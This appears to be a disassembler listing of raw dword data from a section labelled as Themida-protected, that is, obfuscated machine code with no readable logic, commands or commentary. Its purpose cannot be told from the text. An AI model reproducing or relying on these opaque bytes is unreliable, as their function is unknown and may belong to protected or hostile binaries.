		dd 14E906h, 99830000h, 7563F7FEh, 5B94CF0h, 42612573h
		dd 5E48E020h, 8689E016h, 0B8h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 8CC35545h, 665298FDh, 0B7DEDABFh
		dd 6A006AB2h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0C5ACC357h, 3D6D0382h,	0E824A004h
		dd 24759531h, 0B5FF062Bh, 62EB5B0h, 95FFDE8Bh, 62B05E1h
		dd 75D68160h, 0E900A42Ch, 0Fh, 0FD3F469h, 2C5B4539h, 88868286h
		dd 615C8CACh, 0F98B6650h, 0E9243489h, 11h, 0E802D62Ah
		dd 0B4735EEFh, 9EA2824Ah, 399209E7h, 6850FE2h, 8B000000h
		dd 2B0649BDh, 0B0B5FF06h, 89062EB5h, 2B2915BDh,	6995FF06h
		dd 8B062B15h, 2B32719Dh, 9DBD8306h, 62B1Dh, 51840Fh, 8D890000h
		dd 62B2695h, 0E9525096h, 14h, 8DC2E6C3h, 940550F2h, 0A561BE40h
		dd 7C560D69h, 5F432DF0h, 8D0F310Fh, 4, 8963BF66h, 0E950585Ah
		dd 14h,	8FD489FFh, 64068461h, 9ABBE8DEh, 1850440h, 54ED345h
		dd 0A1B58996h, 0FF062B1Bh, 2EB5B0B5h, 0FFF88B06h, 2B2E1195h
		dd 0B5FFF506h, 62EB5B0h, 240D95FFh, 6A062Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 7DE923C3h
		dd 0BE847C1h, 0B6000000h, 0D8200ACAh, 0F4A124B7h, 9D89C5EBh
		dd 62B0A31h, 29BD835Fh,	2062B2Eh, 73840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 563E9CC3h, 3B703CEFh, 858B861Dh, 62B2B39h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0C35040h, 0F55502A5h
		dd 6A0000C6h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 58C3C357h, 38F0Fh
dword_58C268	dd 0BF0F0000h, 2585C7DAh, 62B09h, 6A000000h, 3E85300h
					; DATA XREF: Themida_:off_54F04Eo
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 0E9F0C353h, 0FFFFF333h, 1C35BD01h, 0C18B062Bh, 0BDC38166h
		dd 0E7816699h, 858DDD1Ah, 62B2FC1h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0A3C35747h,	76C22E1h, 0E89044ECh
		dd 10h,	0DA395AD2h, 0B3CDFA8Dh,	0B03B65CAh, 2F2D74Bh, 975D55BBh
		dd 50505F21h, 5F505252h, 0BF310F5Bh, 7B81B08Ah,	0B790585Ah
		dd 0B995890Eh, 6A062B08h, 0A5BD8B00h, 6A062B32h, 859D3300h
		dd 8D062B32h, 2FFD9285h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 0E98B73C3h, 6,	0ADFB3214h
		dd 0BF0F215Eh, 5C083DAh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0D1C35343h, 0CB16CBCAh, 90F98412h, 0F28B6660h
		dd 4F9335BBh, 0E8506160h, 8, 0AB7A6870h, 73342B2Ah, 905FB5B3h
		dd 0E7D8589h, 6A062Bh, 2EED8D09h, 0BD8B062Bh, 62B2641h
		dd 0BD33006Ah, 62B2E31h, 12319D8Bh, 95FF062Bh, 62B34E1h
		dd 0A6AA8D8Dh, 6A062Eh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 801CF3C3h, 7AE73951h, 28D99D8Bh
		dd 0D1FF062Bh, 0A01BD83h, 0F01062Bh, 4985h, 0A840F00h
		dd 0E9000000h, 5, 0F7AB4DEDh, 50026A06h, 3403C1BFh, 2404892Eh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0FBC35747h
		dd 35159589h, 95FF062Bh, 62B05E1h, 0FDDBD8Bh, 0FAE9062Bh
		dd 0E800000Ch, 0
		dd 9CED815Dh, 1062FFDh,	2B2591BDh, 1D953106h, 8D062B2Bh
		dd 2E993A85h, 999D8B06h, 50062B29h, 0CE9h, 414AED00h, 0EE801345h
		dd 42CCD9F6h, 2404899Dh, 0A3BF1CB7h, 640D676Dh,	35FFh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 81663CC3h, 64772FE3h, 2589h, 85FF0000h, 62B1E0Dh
		dd 9FD9D09h, 0FF6A062Bh, 68D0Fh, 8D890000h, 62B0A05h, 18B9B5FFh
		dd 820F062Bh, 4, 57BBF66h, 11A995FFh, 2AE9062Bh, 89000001h
		dd 2B0F05BDh, 8900B006h, 2B0719B5h, 9AC78006h, 0BD2970E6h
		dd 62B2401h, 8B6071E4h,	2B11F595h, 613C6106h, 0FF830Fh
		dd 0FFC0000h, 0FABFC8B6h, 0BA768788h, 6, 0CE9h,	65A66500h
		dd 60B981CFh, 66A6C458h, 81C18BD9h, 664CB5E7h, 4E8C142h
		dd 0AE8h, 0CED6CE00h, 8077AC21h, 0E98FFC62h, 5,	0F7EA1979h
		dd 0F7665B2Fh, 0DAB70FE2h, 0DE8AC82Bh, 2E19B589h, 0D18B062Bh
		dd 0F5BD8Bh, 8529062Bh,	62B2119h, 98E9h, 1D8D8900h, 8B062B27h
		dd 485h, 118D8900h, 83062B1Ch, 9D3307C0h, 62B25E9h, 8900C083h
		dd 2B0829B5h, 0FD03B06h, 1F83h,	3C10BB00h, 0BF0F6927h
		dd 5FE9FFh, 0DE90000h, 89000000h, 4EED632Fh, 0A024983Fh
		dd 37EF1784h, 0FFFF8D8Bh, 0BE8FFFFh, 0CD000000h, 58D70167h
		dd 3B7BFE35h, 9589537Eh, 62B3471h, 1E1835Fh, 27840Fh, 8B0F0000h
		dd 6, 0FEB7D781h, 0A5835606h, 0FFFFFFFFh, 0BD2956FEh, 62B28B9h
		dd 495895Bh, 0F5000000h, 0E9h, 9BB58D00h, 0F062F72h, 58Eh
		dd 0CF816600h, 6A52DBh,	9D38166h, 4595FF9Dh, 6A062B29h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 1BAC355h,	0E35DD7ACh, 8529FF49h, 62B2B01h
		dd 0F19B9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 9E521DAFh, 0BE5A9917h, 659D8B5Bh
		dd 83062B29h, 6AFCE1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 9D8BEFC3h, 62B0865h, 2F89BD8Bh
		dd 0FFC062Bh, 28Ch, 0B8FA8B00h,	0
		dd 269BD31h, 0D22B062Bh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 5EC35545h, 8D0FF88Bh,	0
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0BAC35545h,	89FBD541h, 2B0F1185h
		dd 39BD8906h, 0D062B24h, 88h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 99C35747h, 0A1667E84h, 423D4B26h
		dd 159D2B64h, 8B062B02h, 2B0EE195h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 82E20198h
		dd 0E8BF804Ah, 0E18D8B82h, 66062B21h, 431FF381h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 7A6870C3h
		dd 8B2B2AABh, 2B0BC19Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0E03E1EF9h, 0A9852986h
		dd 83062B10h, 2B05A9BDh, 840F0006h, 87h, 0D890F381h, 0B846B8h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 280AC355h, 0A18D8D7Dh,	6A062B4Eh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0B701C353h, 0FEB64227h, 348D8D89h, 0EE9062Bh
		dd 75000000h, 5A7F51EEh, 0E3E1F264h, 54EECEEDh,	6AE1FF78h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 830DC355h, 2B2BE5BDh, 840F0006h, 412h, 25A99D8Bh
		dd 0BD83062Bh, 62B2BE5h, 1A840F01h, 8B000004h, 2B0931BDh
		dd 0E5BD8306h, 3062B2Bh, 3D1860Fh, 0DE80000h, 49000000h
		dd 7586916h, 59E09788h,	88130D54h, 25C98D89h, 605B062Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0BEC35646h
		dd 52B4FB7Bh, 405C8B6Fh, 97ECF381h, 8C664C77h, 2BDBBFD9h
		dd 0E1806BCBh, 0FC90A04h, 10E84h, 0FEBF0F00h, 1EB5858Bh
		dd 8B66062Bh, 0ADBD8BFEh, 33062B11h, 2B258D85h,	4D9D0B06h
		dd 90062B19h, 8F0Fh, 66500000h,	902385BFh, 1CEDBD29h, 6A062Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0DFC35242h
		dd 0D4929218h, 0B8D7E19Eh, 0FDBD8B57h, 5B062B29h, 4BEBF868h
		dd 0DF8B667Eh, 7243481h, 6A7E54E8h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 86D5C352h
		dd 1D95FFD9h, 6A062B09h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 6AF0C350h, 1F8988D9h
		dd 8E9CE79h, 0F000000h,	2C5B4539h, 0E9868286h, 13h, 0FB5C94B1h
		dd 622C37A7h, 0FF9D13F0h, 0A5479CC7h, 895F1FFFh, 2EB5B085h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0C210EA88h, 0DD51BB87h, 0D8E92BB3h, 66000001h
		dd 8B8664BBh, 2EB5A885h, 0F7816606h, 0C76C10h, 18h, 48DB81F9h
		dd 8B7D84D9h, 2EB5ACB5h, 3171BF06h, 858B3455h, 62B16C5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 75C35343h
		dd 0E7CD6652h, 8BCB314Eh, 2B0BF1BDh, 2CEB8106h,	891F5558h
		dd 0C1958906h, 8B062B1Ah, 2B1EB585h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 35389F5h, 2B29E5BDh
		dd 46895B06h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 4D48052Ch, 25AB6B58h, 0A19D3129h
		dd 50062B1Dh, 3489F88Ah, 51006A24h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0B5FFC71Fh, 62EB5A8h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 4BC35242h
		dd 0E8DE8B66h, 0Dh, 4C256463h, 0F8A8FDDCh, 960F8AFAh, 0DD9531F5h
		dd 5F062B02h, 57863668h, 8145B34Ch, 85C92434h, 0BD8B4C48h
		dd 62B277Dh, 0B5B0858Dh, 6A062Eh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 864532C3h, 890F35C9h
		dd 6, 1F119589h, 9D8B062Bh, 62B0929h, 0C9AFBB90h, 665030CDh
		dd 6A90FA8Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0E505C352h, 0BD7C795Dh, 9E39DEFh
		dd 1D95FFF9h, 6A062B09h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 4990C355h, 4A818E1Eh
		dd 896060CDh, 2B1E6D9Dh, 0F7816106h, 73974AE5h,	3DBD8B61h
		dd 61062B2Eh, 1101BD8Bh, 85C7062Bh, 62B2BE5h, 3, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 37C35141h, 8007207Fh
		dd 0B5B0BD83h, 0F00062Eh, 5A84h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0E620587Ch
		dd 0F5E8C891h, 0FE838h,	209D0000h, 6E2100F5h, 97D27697h
		dd 0CE0DD1CAh, 7E9CEh, 73F00000h, 2A70E526h, 2BE95B62h
		dd 0E8000000h, 8, 0D744890Fh, 0B88E57E5h, 505FDE8Bh, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 6AC08Bh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0C18223C3h, 6262B61Eh, 0E91B2296h, 10h, 2430F0C9h, 92D4B6F8h
		dd 0CF097AD6h, 9801EE65h, 6AFEB70Fh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 12EBC350h
		dd 0A86E4E4h, 0D66C83B4h, 870FDA8Bh, 2,	0BD83DE8Bh, 62B2BE5h
		dd 0E0850F03h, 6A000003h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0D799C350h,	68F8D660h
		dd 8D89F532h, 62B21EDh,	0B5B0BD83h, 0F00062Eh, 3AA84h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 8345B1E1h, 8939814Fh, 2B0DA58Dh,	0B0B5FF06h
		dd 89062EB5h, 2B0AB9B5h, 7595FF06h, 6A062B01h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 9760C350h, 37A68788h, 8190F7E5h, 0F25458CBh,	0A4B58B79h
		dd 89062EB5h, 2B06F59Dh, 106C706h, 6A000100h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 949FC357h, 0B0FC7DD2h, 8B963202h, 800F50FEh,	6, 1ABF6651h
		dd 9965BE0h, 2B016185h,	29BD0B06h, 0FF062B0Ah, 2EB5B0B5h
		dd 0EB8106h, 0FF0B0EFCh, 2B155595h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0A0E9DCB8h
		dd 9CBD8393h, 0FFEFBB66h, 0B5A4B58Bh, 6A062Eh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0A7A57FC3h, 4492E231h, 1AD9858Bh, 8166062Bh,	0F5C09F7h
		dd 108Fh, 0BE900h, 0D0010000h, 7628EDEDh, 2346A49Dh, 0C48689DDh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 282C353h, 53E55BDCh, 0F9847D9h
		dd 0E8Fh, 9E900h
		dd 991D0000h, 0EC604D40h, 8BECD80Fh, 2B0EE195h,	5D9D8906h
		dd 83062B06h, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 9550E2C3h, 0E8A2DC5Bh, 2050898Fh
		dd 4ADF8152h, 5B03E4AEh, 0CA4E858Dh, 6A062Eh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 858907C3h
		dd 62B301Dh, 0B88689h, 0BD310000h, 62B0899h, 6A006Ah, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0F9248FC3h, 0F2ADC706h, 0BF4078B0h, 50DDFEC2h, 1E99BD8Bh
		dd 0B5FF062Bh, 62EB5B0h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 18h, 78C35545h, 81ED1C4Eh,	880Fh, 820F0000h
		dd 6, 40E4EF81h, 95FF1B5Ah, 62B05E1h, 0D88B5096h, 0EE996h
		dd 974F0000h, 2AB9DB21h, 9A95D961h, 820DA1Ah, 0B5B0B5FFh
		dd 9D0B062Eh, 62B2B5Dh,	156995FFh, 8B66062Bh, 9DBD83FBh
		dd 62B1Dh, 14840Fh, 9D230000h, 62B2AEDh, 0DE8B5750h, 2434895Fh
		dd 0EBF0DB81h, 0B5FF51F9h, 62EB5B0h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 15C35040h, 0E6ECE940h, 0BEB0A8A5h
		dd 3DBF6656h, 8F0F5F95h, 14h, 0FE9h, 34A9B300h,	0D0A4F7A9h
		dd 2F507CB6h, 0CE58EA80h, 2E1195FFh, 6A062Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 50905FC3h
		dd 2085FD13h, 0B5FFD98Bh, 62EB5B0h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 8C35141h, 183F648h,	2B35A99Dh
		dd 0D95FF06h, 0E8062B24h, 9, 0C2B63E7Ch, 78DD733Dh, 5DB529E7h
		dd 5B062B21h, 2E29BD83h, 0F02062Bh, 2D84h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 8BE4B90Dh, 2B2B3985h, 0B1BD8B06h, 0C6062B07h, 85C70000h
		dd 62B0925h, 0
		dd 8166F88Bh, 0E911C4C7h, 0FFFFF38Eh, 6A6547BFh, 89C18B1Dh
		dd 2B054D8Dh, 0C1858D06h, 6A062B2Fh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 118BC351h
		dd 0FF8E689h, 1980h, 0DE800h, 45130000h, 0B540719Dh, 0F6F9B438h
		dd 81BEFDC2h, 0E56E91C3h, 66505F2Fh, 489FB8Bh, 38C0F24h
		dd 66000000h, 6ADF8Bh, 0CE9h, 0D957A600h, 90D2B973h, 0E5FE170Dh
		dd 6A006A98h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0DDF9C356h, 7801CEF6h,	1BD70ABBh
		dd 799D8B52h, 5B062B29h, 0B6858DF9h, 8B06300Ch,	2B2F65BDh
		dd 68B0F06h, 8B000000h,	2B12559Dh, 5C08306h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 65C35343h, 7A5E04C3h
		dd 6259A6C1h, 14880F50h, 50000000h, 0F5B5352h, 7E931h
		dd 0FD8E0000h, 888F8592h, 89585AEFh, 840F2404h,	5, 0F6FF09BBh
		dd 81006A72h, 0DBF339DFh, 6A006A54h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 29E5C352h
		dd 0EC6693D5h, 0B5895F95h, 62B3065h, 0BE9h, 0A85C7300h
		dd 1180DC81h, 2ABF3290h, 89BF6660h, 0D19529F9h,	61062B05h
		dd 34E195FFh, 0BD8B062Bh, 62B05C9h, 0A6AA8D8Dh,	0B589062Eh
		dd 62B1235h, 6AD1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 371CD8C3h, 0D181B70Bh, 0A19D897Ah
		dd 0BB062B05h, 1C30A347h, 0A01BD83h, 0F01062Bh,	8185h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 53E14228h, 1870Fh, 6AFC0000h, 0FEB70F02h
		dd 8C26BB50h, 48930EAh,	53006A24h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 618B3DBh, 95FFACB0h, 62B05E1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 99C35141h
		dd 7867FE89h, 0A9DBD33h, 0BEE9062Bh, 0E800000Bh, 0
		dd 0C0ED815Dh, 6606300Ch, 1FC2EB81h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0E4C35141h,	5B3B601h, 67BB6695h
		dd 3A858D2Dh, 8B062E99h, 2B01359Dh, 9D953106h, 90062B07h
		dd 358BC3BBh, 8C0F5022h, 4, 5B616052h, 50006A90h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 0B70FCE13h, 35FF64DAh, 0
		dd 16B5BD8Bh, 8964062Bh, 25h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0D85FF89h
		dd 89062B1Eh, 2B2D7995h, 89FF6A06h, 2B2EE19Dh, 5DB5FF06h
		dd 0E9062B2Ah, 0Bh, 0FE3CFD08h,	5EDA20BCh, 0FFC1CD70h
		dd 2B11A995h, 11CE906h,	0BD2B0000h, 62B2F35h, 0BB6600B0h
		dd 70E6B80Ah, 54E7C381h, 71E413D0h, 27DBD33h, 613C062Bh
		dd 0F8830Fh, 0FF50000h,	0BD8BC8B6h, 62B0CB9h, 6BAh, 8BD88B00h
		dd 518D89C1h, 0C1062B26h, 0BD8B04E8h, 62B1655h,	57E2F766h
		dd 2B5FDC8Ah, 38D0FC8h,	66000000h, 9D8BDE8Bh, 62B1FA1h
		dd 850FD18Bh, 16h, 11E9h, 0EF7BC200h, 0AF010F0Bh, 4DE17498h
		dd 735F9B77h, 9BE91767h, 1000000h, 2B213195h, 44858B06h
		dd 665F4C4Ch, 0C083FE8Bh, 9AC38107h, 832C1D23h,	295000C0h
		dd 2B2F11BDh, 0D03B5F06h, 0D830Fh, 0BD8B0000h, 62B2729h
		dd 65E9h, 8BF98A00h, 0FFFFFF8Dh, 0E8F960FFh, 7,	0CF1E58DAh
		dd 5BE5F720h, 1E18361h,	44840Fh, 85290000h, 62B176Dh, 0FFFFA583h
		dd 0F5FEFFFFh, 0DE8h, 7E66C500h, 6FECC0D0h, 0D4AD6905h
		dd 9D8B7443h, 62B0865h,	4495895Fh, 0E95F4C4Ch, 0Dh, 0BBD1F010h
		dd 122004BDh, 1685835Bh, 0E9DDh, 0B58D0000h, 62F81B4h
		dd 6A3FC780h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 91205944h, 0E8BF32E2h, 8B64818Eh
		dd 2B2C91BDh, 4595FF06h, 0F062B29h, 81h, 0ECBB900h, 0BD310000h
		dd 62B3481h, 29FCE183h,	2B2639B5h, 0DE8BFC06h, 6AC02Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 80A22C3h, 4817B7F1h,	5D9D8B6Fh, 2B062B30h, 0EB8166D2h
		dd 33ADE2C1h, 3E8D1C2h,	4E983D0h, 0E5BFF475h, 232E012Bh
		dd 2B0F11BDh, 0FE86006h, 1C000000h, 78534EF9h, 2357A08Dh
		dd 0B0198F7Ch, 61BB76D9h, 5F2F38C5h, 15C1B529h,	0D61062Bh
		dd 88h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h
		dd 0DC35747h, 0EF802707h, 0E1958BD2h, 80062B0Eh, 8D8BE3E7h
		dd 62B21E1h, 501BD780h,	188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 0BB66F558h, 0BD832E64h, 62B05A9h,	73840F00h
		dd 89000000h, 2B01B9B5h, 0B806h, 0BE80000h, 45000000h
		dd 86228382h, 97064928h, 7E9F9DEh, 0AE000000h, 75F8B9A9h
		dd 8D5B9F07h, 2B4EA18Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 31E2365Fh, 0B1BB6657h
		dd 0E9E1FFADh, 14h, 24EA5470h, 0C7E1AE2Ah, 46913C1Eh, 0ABC40B36h
		dd 1D0C8D8Ch, 939BD8Bh,	0BD83062Bh, 62B2BE5h, 0CC840F00h
		dd 83000003h, 2B2BE5BDh, 840F0106h, 3DAh, 1DBD8960h, 66062B17h
		dd 0BD3DCA81h, 0E5BD8361h, 3062B2Bh, 38A860Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0D4B3D7C3h, 35819D8Bh, 0BD8B062Bh, 62B02A9h,	98D8960h
		dd 66062B30h, 6AD98Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 43BB4FC3h, 9879B14Dh, 0FA8E50Eh
		dd 389h, 0FFB70F00h, 9AD8D89h, 0E180062Bh, 56006A04h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 4E98B989h, 0F5517BFCh, 840FC90Ah, 10Bh, 810FF8h, 8B000000h
		dd 2B1EB585h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 6ABEDBD0h, 0BD8BCCA7h, 62B32C1h
		dd 23AFE381h, 85335541h, 62B258Dh, 0BB6650F8h, 489AE14h
		dd 8DBB6024h, 57652181h, 21299529h, 615E062Bh, 0B589006Ah
		dd 62B194Dh, 0CEE57668h, 0BE868h, 923A0000h, 3071EDCCh
		dd 6A830A3Fh, 0DE8B660Ah, 2434815Fh, 68D1E689h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 2BC35747h, 0A49A1749h
		dd 5E96F615h, 12D38094h, 91D95FFh, 8B50062Bh, 2B0BB5BDh
		dd 85895B06h, 62EB5B0h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0EC35343h, 0B8A28C0Ah, 8953A13Dh, 2B12359Dh
		dd 1B8E906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0D986D5C3h, 8BD8B70Fh, 2EB5A885h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 870A0B2Ch, 818D8958h, 66062B2Fh,	0C7FA8Bh
		dd 18h,	0B58BDE8Ah, 62EB5ACh, 0C5858BF8h, 0F062B16h, 689DBB7h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C9C35646h
		dd 93C9FC04h, 0E033791Ah, 858BF565h, 62B1EB5h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0A8C35040h, 8E0FAB19h
		dd 0
		dd 0E9044689h, 0Bh, 0BBF0DACAh,	0C8B550C2h, 5047CCACh
		dd 0CC36BB66h, 0FF243489h, 2EB5A8B5h, 890F6006h, 3, 89D18B66h
		dd 2B00F5B5h, 0FC686106h, 81F6901Ah, 0E9032404h, 9D89098Eh
		dd 62B1EA1h, 0B5B0858Dh, 6A062Eh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 21CF85C3h, 8B66ADE3h
		dd 0AE8F9h, 35B00000h, 0CA5FDCE6h, 0E7CE8469h, 61F38B60h
		dd 14E9905Bh, 0C000000h, 9261D547h, 0CF55401h, 307D3EE5h
		dd 2A0FEE0Bh, 501BE467h, 6A90FA8Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0A642C351h
		dd 0DE9h, 91AB5700h, 2B50985Bh,	0D495FBFAh, 0BD0BC38Bh
		dd 62B1E2Dh, 91D95FFh, 6A062Bh,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0F86AD9C3h, 0F8299E0Ch
		dd 6A611445h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 4576C351h, 86228382h, 0C75B5128h
		dd 2B2BE585h, 306h, 0EF816600h,	0BD8BD3ADh, 62B1105h, 0B5B0BD83h
		dd 0F00062Eh, 0B84h, 0FB8B6600h, 1EE9h,	0F8B70F00h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 0FC08B00h, 686h
		dd 7DBD8B00h, 8B062B2Bh, 2B1C69BDh, 2850F06h, 8A000000h
		dd 0E5BD83DDh, 3062B2Bh, 3E7850Fh, 0B70F0000h, 0B0BD83DBh
		dd 62EB5h, 3D7840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 314EE7C3h, 0FF3C17CBh
		dd 2EB5B0B5h, 0A9BD8906h, 8B062B20h, 2B3229BDh,	7595FF06h
		dd 6A062B01h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 88BEC353h, 0F5EE9174h,	53BB236Eh
		dd 8B120ED9h, 2EB5A4B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0DB42AA63h, 89289700h
		dd 2B19D59Dh, 3810F06h,	66000000h, 6C7F98Bh, 10001h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 1EC35040h, 2C5003F7h
